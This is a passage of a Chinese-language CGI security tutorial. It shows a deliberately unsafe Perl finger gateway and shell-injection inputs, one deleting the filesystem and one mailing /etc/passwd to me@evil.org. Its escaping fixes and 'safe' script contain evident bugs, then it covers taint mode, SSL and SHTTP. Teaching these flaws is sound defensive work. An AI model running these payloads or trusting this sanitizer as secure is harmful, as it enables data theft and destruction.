寫的finger程序。這個程序所做的是允許用戶查詢一個用戶和一臺主機的詳細
信息,并且,這個CGI可以查詢用戶并顯示結果。

程序3. finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an unsafe finger gateway
require 'cgi-lib.pl';
print &PrintHeader;
if (&ReadParse(*in)) {
  print "\n";
  print `/usr/bin/finger $in`;
  print "\n";
}
else {
  print " \n";
  print "\n";
  print "\n\n";
  print "Finger Gateway\n";
  print "\n";
  print "User@Host: \n";
  print "\n";
  print "\n";
  print " \n";
}

  乍一看,這個程序好象沒有什么害處。因為是用Perl編寫的,不會有buffer
overflow的危險。我使用了finger的完全路徑,這樣gateway不會被偽造的
finger程序所欺騙。如果輸入是一個不合適的格式,那么gateway將返回一個錯
誤而不會被人利用。

  但是,如果我嘗試如下的輸入會怎樣呢(如圖1所示)
  nobody@nowhere.org;/bin/rm -rf /
  FINGER GATEWAY
 ___________________________________
User@Host: nobody@nowhere.org ; /bin/rm -rf /
 -----------------------------------
______________
Submit Query
--------------
  (圖1)

(譯者注:原圖是一個瀏覽器,我僅畫出HTML頁中的部分。)

  我們來看一下下面的程序行會如何處理這樣的輸入:
 
  print `/usr/bin/finger $in`

  由于你使用了向后的標記,首先它會執(zhí)行一個shell。然后它將執(zhí)行如下的
命令:

/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /

  這將會怎樣呢?假設在命令行像這樣輸入。它會刪除所有的文件和目錄,從
root的目錄開始。我們需要sanitize這個輸入來render the semicolon(;)
metacharacter harmless.在Perl中,利用表4中的函數(shù)可以很容易的實現(xiàn)。
(C中的這些等價函數(shù)在表5中;它們來自cgihtml的C庫。)

程序4. Perl中的escape_input().
sub escape_input {
  @_ =~ s/([;<>\*\ `&\$!?#\(\)\[\]\:'"\\])/\\$1/g;
  return @_;
}

程序5. C語言中的escape_input().
char *escape_input(char *str)
/* takes string and escapes all metacharacters.should be used before
 including string in system() or similar call. */
{
  int i,j = 0;
  char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1));
  for (i = 0; i < strlen(str); i++) {
  printf("i = %d; j = %d\n",i,j);
  switch (str[i]) {
  case ' ': case '&': case ';': case '(': case ')': case '<':
  case '>': case '\'': case '"': case '*': case '?': case '\\':
  case '[': case ']': case '$': case '!': case '#': case ';':
  case '`': case '{': case '}':
  new[j] = '\\';
  j++;
  break;
  default:
  break;
  }
  new[j] = str[i];
  j++;
  }
  new[j] = '\n';
  return new;
}


  這將返回一個帶有跟隨在\后的shell轉義字符的字符串。這個修正的
finger.cgi網(wǎng)關在程序6中。

程序6. 一個安全的finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an safe finger gateway
require 'cgi-lib.pl';
sub escape_input {
  @_ =~ s/([;<>\*\ `&\$!#\(\)\[\]\:'"])/\\$1/g;
  return @_;
}
print &PrintHeader;
if (&ReadParse(*in)) {
  print "\n";
  print `/usr/bin/finger &escape_input($in)`;
  print "\n";
}
else {
  print " \n";
  print "\n";
  print "\n\n";
  print "Finger Gateway\n";
  print "\n";
  print "User@Host: \n";
  print "\n";
  print "\n";
  print " \n";
}

  這次,如果你使用前述相同的輸入,將派生出一個shell,它將嘗試這樣執(zhí)
行:

  /usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /

  這樣,那個惡意的企圖將無法生效.它不再試圖刪除系統(tǒng)中所有的目錄,而是
嘗試finger用戶nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符
組合未必是你的系統(tǒng)中的用戶,因此可能會返回一個錯誤。

  記住幾個問題。首先,如果你的Web服務器正確的配置了(例如,以非root
身份運行),那么,刪除文件系統(tǒng)中的所有內容的企圖不會成功。(如果服務
器以root身份運行,那么潛在的危害將是不可估量的。千萬不要這樣做!)另外,
用戶還假定rm命令在/bin目錄中。他或她假定了rm在這個路徑中。然而,所有
這些只是對大多數(shù)的Unix系統(tǒng)的樂觀的假設,并不是完全適用的。在一個
chrooted系統(tǒng)環(huán)境中,這個目錄中并沒有rm命令。那么hacker的努力將是徒勞
的。從理論上說,通過安全防范和正確配置你的Web服務器,你可以將潛在的危
害降低到幾乎為0,即使是書寫了糟糕的腳本。

  然而,你沒有理由在編寫CGI程序時可以掉以輕心。事實上,大多數(shù)的Web環(huán)
境并不是chrooted的,僅僅是因為它禁止了很多人需要在Web服務器中需要的
靈活性。即使服務器不是以root身份運行,用戶不能將文件系統(tǒng)中的文件全部
刪除,一些人可以僅僅通過如下的輸入,將/etc/passwd文件寄給me@evil.org
作為可能的攻擊途徑:

  nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd

  我可以通過操縱這個漏洞來干很多事情,即使是在一個配置良好的環(huán)境中。
如果你在一個簡單的CGI程序中容許一個漏洞從你的身邊溜過,你怎么能肯定
你正確并安全的配置了你復雜的Unix系統(tǒng)和Web服務器?

  答案是你不能。你最好打賭弄清楚你的CGI程序是安全的。在shell中運行它
之前不輕易接受輸入是很容易對付的事情,它還是CGI編程中最常見的問題之一。

  幸運的是,Perl擁有一個捕捉潛在感染的變量的很好的機制。如果你使用
taintperl而不是Perl(或者perl -T,如果你使用Perl 5),腳本將在潛在感染的
變量傳遞給shell命令處中止。這將幫助你在開始實際使用CGI程序時捕捉到所
有的潛在感染的變量的例子。

  注意到Perl擁有比C更多的派生shell的函數(shù)。這并不是顯而易見的,即使是
對于中級的Perl程序員,在執(zhí)行程序前向后標記派生出一個shell。這是高級
語言的風險抉擇;因為你不是很明確地知道它做什么,所以你并不清楚一個函
數(shù)會產(chǎn)生怎樣的安全漏洞。

  如果你避免了使用調用shell的函數(shù),那么你不需要刪除敏感的輸入。在Perl
語言中,你可以通過使用system()或者exec()函數(shù)來封裝每一個參數(shù)。例如,
如下的調用很安全的$input:

  system("/usr/ucb/finger",$input);

  然而,在你的finger gateway的情況下,這個特點是毫無用處的,因為你要
處理finger命令的輸出,這個,除了你使用system函數(shù)外沒有方法可以捕獲。

  在C語言中,你也可以通過使用exec一類的函數(shù)來直接執(zhí)行程序:exev(),
exec1(),execvp(),execlp(),和execle()。exec1()在C語言中等價于Perl中的
system()函數(shù)。你使用哪一個exec函數(shù)以及如何使之按你的需要執(zhí)行:這些細
節(jié)已經(jīng)超出了本書的范圍。
3.安全處理

  我前面簡要討論的只是安全問題的一個方面,F(xiàn)在流行的CGI應用程序傾向于
收集信用卡信息。數(shù)據(jù)收集是CGI應用程序的一個簡單的任務,但是敏感信息的
收集需要一個將信息從瀏覽器傳送給服務器和CGI程序的安全途徑。

  舉個例子,假設我要通過Internet來銷售書。我可能在瀏覽器上建立一個表
單,允許要購書的顧客通過表單提交它的個人信息和信用卡號碼。受到這些信
息后,我會將它們存儲到我的計算機作為商業(yè)記錄。

  如果有人侵入我的商業(yè)計算機,那么他可能會訪問存放顧客信息和信用卡號
碼的機密數(shù)據(jù)。為了避免這種情況,我會審查我的計算機配置安全了,并確定
用來接受表單的CGI腳本不會被惡意的操縱。換句話說,我,作為計算機的系統(tǒng)
管理員和CGI程序員,要盡力控制住第一個問題:防止信息直接從我的計算機中
被竊取。

  然而,怎樣防止當信息由客戶端發(fā)往服務器過程中有人中途竊取呢?記住信
息怎樣由Web服務器傳送到CGI程序了嗎?信息通過網(wǎng)絡由瀏覽器先傳送到服務
器,然后服務器將信息傳送給CGI程序。這些信息可能在由客戶機傳送到服務器
時被中途竊取(如圖2)。注意,為了保護信息使其不會被中途竊取,必須在客戶
和服務器之間進行加密。當然,如果你的客戶機不能識別的話,你不能執(zhí)行特
定CGI的加密。

_______________ ______________
瀏覽器  表單輸入 
(用戶提交表單; —————————————> 
瀏覽器將其以通 <—————————————  服務器
常文本發(fā)送出去) 分析CGI輸出 
---------------  --------------
   表
 /\CGI
 不懷好意的hacker單


 輸


 入


  \/

  _____________
  
   CGI
  
  -------------
  (圖2)

More: Java,CGI和安全處理

  由于Web處理的特點,使用你獨有的單獨通過CGI程序實現(xiàn)的安全處理協(xié)議的
唯一途徑是:在表單信息通過瀏覽器傳送到服務器之前將其加密。這個方案如
圖3。

_______________ ______________
瀏覽器  加密表單輸入 
用戶提交表單; —————————————> 
瀏覽器將輸入加 <—————————————  服務器
密,發(fā)送加密信息 分析CGI輸出 
---------------   --------------
    加
 /\CGI
  阻止 修補密


  惡意 再次輸


 hacker阻止入

(解密)
  \/

  _____________
   CGI
  解密處理輸入,
  發(fā)出響應。
  -------------
 (圖3)

  之前,發(fā)展你自己的安全處理協(xié)議幾乎是不可能的。感謝Java這樣的語言,最
近在客戶端處理所作的創(chuàng)新,使得這個發(fā)展變成可能。

  方法是產(chǎn)生一個標準HTML格式擴展的Java接口。當Java的提交按鈕被選擇時,
Java Applet會在利用標準的POST HTTP請求將它發(fā)送到Web服務器前先將值加密
(參照圖4)

 Web瀏覽器
_______________ ______________
JAVA APPLET  加密數(shù)據(jù) 
表單;用戶提交 —————————————> 
數(shù)據(jù),APPLET加密 <—————————————  服務器
數(shù)據(jù),發(fā)給服務器 CGI輸出 
--------------- --------------
 加
 /\CGI
 密


 數(shù)


 據(jù)


  \/

  ________________
   CGI
  使用與APPLET相同
  方案解密數(shù)據(jù)并處
  理,發(fā)出解密響應.
  ----------------
  (圖4)

  使用Java作為客戶機來發(fā)送和接收加密的數(shù)據(jù)將允許你使用自己定制的加密
方案,而不需要一個昂貴的商業(yè)服務器。

  因此,在網(wǎng)絡上安全保密地傳送數(shù)據(jù)信息需要調整瀏覽器和服務器之間的通
信路徑,有一些是不能僅僅靠CGI就能夠控制的。目前有兩種加密客戶機/服務
器信息處理的建議:SSL(Secure Sockets Layer)和SHTTP(Secure HTTP),分別
由Netscape和EIT(Enterprise Integrations Technology)提議。關于這點,
目前還不清楚哪一個將成為標準;很多公司在他們的服務器中兩種都采用了。
因此,知道如何在這兩者中編寫CGI程序是很有用的。
3-1.SSL

  SSL是一個協(xié)議獨立的加密方案,在網(wǎng)絡信息包的應用層和傳輸層之間
提供了安全的通道(參照圖5)。簡單說來,就是HTML或CGI經(jīng)過了幕后的
服務器進行了加密處理,然而對HTML和CGI的作者來說是透明的。

___________________________________
瀏覽器  傳輸層加密數(shù)據(jù) 服務器
(發(fā)出標準的HTTP —————————————> (解密數(shù)據(jù);解釋成標準
請求) <————————————— 請求并發(fā)出標準響應)
---------------- 傳輸層加密數(shù)據(jù)--------------------

 (圖5)

  因為客戶端和服務器端網(wǎng)絡程序處理加密過程,幾乎你的所有的CGI腳本不
需要進行安全事務的修正。有一個顯著的例外。一個nph(no-parse-header)
的CGI程序繞過服務器而直接與客戶端進行通信。因此,nph的CGI腳本不會經(jīng)
過加密處理,因為信息未得到加密。受此影響的一個值得注意的CGI應用程序
是Netscape服務器推動的動態(tài)實現(xiàn)(Netscape server-push animations)。我
懷疑這是主要應該值得注意的,然而,更有可能因為要安全的傳輸敏感信息
而犧牲頁面中的動畫。

3-2.SHTTP

  SHTTP采用一種和SSL不同的方法。它通過擴展HTTP協(xié)議(應用層)來運作,優(yōu)
于一個較低層。因此,盡管SSL可以應用于所有的網(wǎng)絡服務,然而SHTTP是一個
特定的Web協(xié)議。

  另外,還有其它的優(yōu)點。作為HTTP的擴展集,SHTTP全兼容于HTTP和SHTTP的
瀏覽器和服務器。為了使用SSL,你必須有一個支持SSL的瀏覽器和服務器。另外,
SHTTP是一個更靈活的協(xié)議。例如,這個服務器可以指定首選的加密方案。

  SHTTP處理依賴于附加的HTTP頭。因此,如果你想讓你的CGI程序采用SHTTP的
加密處理,你需要包含適當?shù)念^。例如,替換簡單返回HTTP頭。

  Content-type:text/html

  當一個SHTTP服務器從CGI應用程序中收到這個信息,它會知道在將其發(fā)送到
瀏覽器之前將信息加密。一個非SHTTP的瀏覽器將忽略附加的頭。

  關于使用SHTTP的更多的信息,請參照SHTTP的說明書:

http://www.commerce.net/information/standards/drafts/shttp.txt
4.概要

  安全是你在處理網(wǎng)絡應用程序(例如WWW)中不可避免的一件事。如果你的
Web服務器沒有安全的配置,那么編寫安全的CGI應用程序就不是非常有用
的了。一個正確配置的Web服務器,從另一方面講,可以最小限度的減少因
為糟糕的CGI腳本而帶來的損害。

  大體上,我們應該記住下面的原則:

A.你的程序應當只能提供你指定的服務。

B.不到必要的時候不暴露任何有關你的服務器的信息。

C.如果有人成功的闖入你的系統(tǒng),應最小限度的減少損害。

D.確定你的應用程序是安全可靠并且嚴密的。

  當你編寫CGI程序時,要特別注意你的編程語言的局限性(或不足)以及傳
遞給shell的不確定的變量。

(出處:viphot)


標簽:CGI的安全